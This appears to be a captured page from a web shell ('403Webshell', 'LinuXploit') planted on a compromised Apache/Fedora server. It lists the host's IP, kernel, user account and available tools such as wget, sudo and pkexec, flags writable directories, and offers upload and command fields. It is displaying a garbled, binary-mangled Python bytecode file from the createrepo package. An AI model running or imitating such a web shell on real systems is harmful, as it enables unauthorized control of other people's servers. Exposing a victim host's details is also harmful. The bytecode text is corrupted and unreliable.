403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/site-packages/createrepo/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/site-packages/createrepo/deltarpms.pyc
Ñò
Ù' Jc@sdddkZddkZddklZddkZddklZddd„ƒYZd„Z	dS(iÿÿÿÿN(tmisc(tMDErrortDeltaRPMPackagecBsJeZdZhZd„Zd„Zd„Zd„Zd„Zd„Z	RS(s…each drpm is one object, you pass it a drpm file
       it opens the file, and pulls the information out in bite-sized chunks :)
    cCsy?titii||ƒƒ}|d|_|d|_~Wn(tj
o}td||f‚nXd|_||_	||_
ti|i
iti
ƒ}ti|ddƒti|dƒ}ti|i|ƒ|_~~|itii||ƒƒdS(NiisError Stat'ing file %s%stsha256itrb(toststattpathtjointsizetmtimetOSErrorRt	csum_typetrelativepathtpotopent	localpathtO_RDONLYtlseektfdopenRtchecksumtcsumt_getDRPMInfo(tselfRtbasedirtfilenametstatstetfdtfo((s8/usr/lib/python2.6/site-packages/createrepo/deltarpms.pyt__init__s"

			cCs\|idd|idƒdƒ}|| }|i||dƒ\}}}||||fS(Nt-ii(trfindt_stringToVersion(Rtstringtitnametepochtvertrel((s8/usr/lib/python2.6/site-packages/createrepo/deltarpms.pyt
_stringToNEVR3s"
 cCs5d}x(|D] }|d}|t|ƒ7}q
W|S(Nii(tord(Rtin_datatlengthtval((s8/usr/lib/python2.6/site-packages/createrepo/deltarpms.pyt
_getLength9s
cCsCti|ƒ}|d|_|i|dƒ|_|d|_dS(Ntold_nevrtseq(tdeltarpmtreadDeltaRPMt
oldnevrstringR(toldnevrtsequence(RRtd((s8/usr/lib/python2.6/site-packages/createrepo/deltarpms.pyR@s
cCsÑ|idƒ}|djo|| }nd}|idƒ}|djoE||d|!djo
d}n||d|!}||d}n4||ddjo
d}n||d}d}|||fS(Nt:iÿÿÿÿt0Rit(tfindtNone(RtstrngR#R%tjtversiontrelease((s8/usr/lib/python2.6/site-packages/createrepo/deltarpms.pyR!Fs



c	Cs]|i\}}}}d|i|if}d||||i||i|i|if}|S(swtakes an xml doc object and a package metadata entry node, populates a 
           package node with the md informations%s-%ssÁ    <delta oldepoch="%s" oldversion="%s" oldrelease="%s">
      <filename>%s</filename>
      <sequence>%s</sequence>
      <size>%s</size>
      <checksum type="%s">%s</checksum>
    </delta>
(R3R2R4R
R	RR(RtoldnametoldepochtoldvertoldrelR4t	delta_tag((s8/usr/lib/python2.6/site-packages/createrepo/deltarpms.pytxml_dump_metadata[s
(
t__name__t
__module__t__doc__t
mode_cacheRR(R-RR!RD(((s8/usr/lib/python2.6/site-packages/createrepo/deltarpms.pyRs					cCs­d|i|i|i|i|i|if}tii||ƒ}d|i|i|f}tii|ƒp:t	i
|ƒ\}}|od|i||fGHdSn|S(sNmake a drpm file, if possible. returns None if nothing could
       be createds%s-%s-%s_%s-%s.%s.drpms/usr/bin/makedeltarpm %s %s %ss>Error genDeltaRPM for %s: exitcode was %s - Reported Error: %sN(R$R&R>tarchRRRRtexiststcommandstgetstatusoutputR:(told_pkgtnew_pkgtdestdirtdrpmfntdelta_rpm_patht
delta_commandtcodetout((s8/usr/lib/python2.6/site-packages/createrepo/deltarpms.pytcreate_drpmks
	
	((
tos.pathRRKtyumRR0tutilsRRRU(((s8/usr/lib/python2.6/site-packages/createrepo/deltarpms.pyt<module>sS

Youez - 2016 - github.com/yon3zu
LinuXploit